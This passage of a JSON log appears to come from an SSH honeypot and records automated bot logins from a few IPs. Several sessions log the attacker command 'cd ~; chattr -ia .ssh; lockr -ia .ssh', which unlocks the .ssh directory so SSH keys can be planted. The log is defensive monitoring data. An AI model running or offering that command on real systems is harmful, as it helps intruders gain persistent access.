  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:47.741804+00:00",
  "ended_at": "2026-08-27T11:25:48.902807+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "11f75755-5d29-4a5b-a226-4d9708e168f1",
  "name": "crimson-lucid-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59036,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:45.456198+00:00",
  "ended_at": "2026-08-27T11:25:47.275765+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91abbb7b-49ed-451c-8cfe-7e9478c5b09f",
  "name": "bronzed-lawful-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40558,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:23.670426+00:00",
  "ended_at": "2026-08-27T11:25:24.758400+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "5e045333-4cff-4c8f-b9e2-56790d228d6c",
  "name": "daring-polar-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:22.493924+00:00",
  "ended_at": "2026-08-27T11:25:24.025228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04304630-85e2-4080-b4ab-beb9410d3056",
  "name": "frank-vaulted-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38896,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:20.628091+00:00",
  "ended_at": "2026-08-27T11:25:21.952806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2420925-ca37-4ec8-a08d-b6e744997fad",
  "name": "eager-austere-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49662,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:01.277460+00:00",
  "ended_at": "2026-08-27T11:25:02.755254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6792ed8-d40a-454d-923b-a09f5957a47e",
  "name": "crisp-sullen-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49652,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:24:58.942572+00:00",
  "ended_at": "2026-08-27T11:24:59.823315+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fac5bf8f-6c2c-4115-8671-43bb6a8dffaf",
  "name": "glassy-cheerful-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58008,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:24:11.748677+00:00",
  "ended_at": "2026-08-27T11:24:12.738878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8840f8d-e482-4e77-9d9f-92a5ac859bb2",
  "name": "weathered-hollow-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55546,
  "username": "pc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:23:50.913027+00:00",
  "ended_at": "2026-08-27T11:23:52.864007+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2166
 },
 {
  "id": "6d33bbab-0798-4389-a569-b7ec3cc5d0ed",
  "name": "barren-rustic-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55558,
  "username": "pc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:25.139244+00:00",
  "ended_at": "2026-08-27T11:23:26.453467+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "089df90b-985c-492f-b60b-a4a6f4f9e6fa",
  "name": "fickle-fringed-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55550,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:23.527075+00:00",
  "ended_at": "2026-08-27T11:23:24.611024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c58e1721-0fd6-46fd-a197-2dbcadda5834",
  "name": "somber-merry-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58992,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:23:21.713753+00:00",
  "ended_at": "2026-08-27T11:23:22.669445+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2151
 },
 {
  "id": "ca02d5c0-e6e1-4d0e-a650-7e09dcaa640a",
  "name": "smooth-misty-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59008,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:04.638437+00:00",
  "ended_at": "2026-08-27T11:23:05.412928+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "660d0e11-3f99-4e11-bbe3-721bb6cbbef3",
  "name": "polar-cheerful-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:03.093840+00:00",
  "ended_at": "2026-08-27T11:23:03.757072+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a75cc1be-52de-4db0-b1cf-2d5b0e5e628d",
  "name": "lucid-rustic-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 48652,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:22:38.955943+00:00",
  "ended_at": "2026-08-27T11:22:40.081557+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2160
 },
 {
  "id": "e1e2f478-51e2-4eef-ba25-f2a486f5956e",
  "name": "downy-placid-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48674,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:22:16.456169+00:00",
  "ended_at": "2026-08-27T11:22:18.323673+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92c16128-11b9-4d68-ae1a-c477a495d230",
  "name": "regal-crystal-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48666,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:22:12.895822+00:00",
  "ended_at": "2026-08-27T11:22:14.522578+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06819c64-1c2e-4244-8d27-8af746526dd0",
  "name": "faded-supple-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 60158,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:21:53.904943+00:00",
  "ended_at": "2026-08-27T11:21:54.796116+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2165
 },
 {
  "id": "638a7570-1692-4edc-9668-ad21a75e64c7",
  "name": "wiry-blunt-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35752,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:21:27.119087+00:00",
  "ended_at": "2026-08-27T11:21:28.275008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e44f1f6a-f102-443f-af43-1d04c5240fd9",
  "name": "tangled-feral-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 60162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:21:24.889554+00:00",
  "ended_at": "2026-08-27T11:21:26.590605+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d7c804-9fde-44f8-8e50-745fa44a1dfe",
  "name": "buoyant-frank-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:20:44.739478+00:00",
  "ended_at": "2026-08-27T11:20:45.964341+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "2df7ee4e-9eb9-4595-b9d9-6be86fdecb18",
  "name": "autumn-zealous-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:20:27.447196+00:00",
  "ended_at": "2026-08-27T11:20:28.290817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52543103-456d-47c6-98b7-f3f76824eea3",
  "name": "jolly-scarlet-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58986,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:20:25.449097+00:00",
  "ended_at": "2026-08-27T11:20:26.549241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10b309e8-a210-4ea5-9afb-99553f4e9272",
  "name": "hidden-vernal-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38484,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:19:55.134526+00:00",
  "ended_at": "2026-08-27T11:19:57.060505+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2156
 },
 {
  "id": "65b2be7b-71af-49b5-95cc-5a8bc3517970",
  "name": "quaint-umber-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43774,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 769,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:19:54.975918+00:00",
  "ended_at": "2026-08-27T11:19:56.508392+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2152
 },
 {
  "id": "40cd5ce4-3abb-46ef-b58a-30354e07daa6",
  "name": "stormy-northern-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53064,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:33.121962+00:00",
  "ended_at": "2026-08-27T11:19:33.987006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ae32a02-7fd0-448b-a18a-b28db16c0e2d",
  "name": "quaint-frank-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53058,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:29.938590+00:00",
  "ended_at": "2026-08-27T11:19:31.598915+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0987db44-79d1-4897-b92d-2d06cb878fd7",
  "name": "austere-murky-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46274,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:28.959247+00:00",
  "ended_at": "2026-08-27T11:19:30.483231+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9101d68f-4a89-49bf-8852-06cbfd0234ed",
  "name": "sleepy-pristine-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:26.911568+00:00",
  "ended_at": "2026-08-27T11:19:28.440763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0642adb-af0b-4529-9eda-cb5c44c3472a",
  "name": "thorny-gritty-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:18:08.352740+00:00",
  "ended_at": "2026-08-27T11:18:09.823471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "31ecbce0-c621-4368-93f6-d98c1d670970",
  "name": "dapper-scarlet-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34484,
  "username": "cri",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:17:55.068839+00:00",
  "ended_at": "2026-08-27T11:17:56.991047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2130
 },
 {
  "id": "7aa6fbf1-4bfc-4d14-9da0-213ced08c620",
  "name": "brave-gentle-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:50.503492+00:00",
  "ended_at": "2026-08-27T11:17:51.390234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "713724bf-74fc-46af-827e-28afb8e4a14f",
  "name": "canny-graceful-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58960,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:48.406765+00:00",
  "ended_at": "2026-08-27T11:17:49.600518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2088b013-493b-467c-9430-642851a632e7",
  "name": "fabled-tangled-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43192,
  "username": "cri",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:28.592570+00:00",
  "ended_at": "2026-08-27T11:17:29.955331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97bf6352-2774-45c3-9000-7be6646f7f2c",
  "name": "prairie-foggy-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:27.093379+00:00",
  "ended_at": "2026-08-27T11:17:28.085179+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb6850c9-3610-49ea-a531-8970c147c7ab",
  "name": "foggy-alpine-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 37220,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:17:14.435360+00:00",
  "ended_at": "2026-08-27T11:17:15.792348+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2134
 },
 {
  "id": "80588f09-5b45-433c-a7ba-5bcf10e4eeba",
  "name": "marbled-bitter-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38824,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:16:52.602182+00:00",
  "ended_at": "2026-08-27T11:16:54.497596+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1bd9376-f15f-4114-ae96-f0bfbadd3e94",
  "name": "valiant-lively-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38816,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:16:50.222430+00:00",
  "ended_at": "2026-08-27T11:16:51.109160+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b27942d-0dcd-45e3-a7e8-f4ed857f93af",
  "name": "indigo-lunar-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 41584,
  "username": "internet",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:15:51.417278+00:00",
  "ended_at": "2026-08-27T11:15:52.767016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2134
 },
 {
  "id": "08395037-5832-4e3f-ac30-55c5752178df",
  "name": "glacial-arctic-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58916,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:15:26.463226+00:00",
  "ended_at": "2026-08-27T11:15:27.965331+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a3f8f2ed-2b61-433d-a362-9e2910535479",
  "name": "burly-windswept-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41606,
  "username": "internet",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:24.924167+00:00",
  "ended_at": "2026-08-27T11:15:26.118744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac2c9b33-025c-4ce2-8599-34b6c14c829d",
  "name": "bashful-watchful-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:23.273706+00:00",
  "ended_at": "2026-08-27T11:15:24.373003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "048c8dea-508a-4a4f-92dc-f6b121532f76",
  "name": "coastal-hushed-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:08.964837+00:00",
  "ended_at": "2026-08-27T11:15:09.837528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "491b5841-146e-4d69-a99b-feb0a4517521",
  "name": "jagged-regal-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58932,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:06.733363+00:00",
  "ended_at": "2026-08-27T11:15:08.066828+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a",
  "name": "orderly-lanky-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43652,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:14:14.600211+00:00",
  "ended_at": "2026-08-27T11:14:15.820123+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "2e967db4-e8dc-48f0-bae9-84ed39ef9def",
  "name": "painted-wry-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55470,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:13:56.109836+00:00",
  "ended_at": "2026-08-27T11:13:57.448176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2130
 },
 {
  "id": "71187617-596f-462f-ad8a-a8a91f19bb40",
  "name": "lanky-painted-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 39992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:50.818086+00:00",
  "ended_at": "2026-08-27T11:13:53.119868+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9eaf521b-3072-4faa-b7ad-10b75ad65a03",
  "name": "slender-cosmic-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 39978,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:48.125766+00:00",
  "ended_at": "2026-08-27T11:13:49.133198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8cd99b8-4e60-4c97-93d9-7ba6fc23591e",
  "name": "amiable-mighty-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55478,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:31.801493+00:00",
  "ended_at": "2026-08-27T11:13:33.100007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40624ef4-e5b4-43b6-b123-e4745fada5db",
  "name": "ashen-hearty-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55476,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
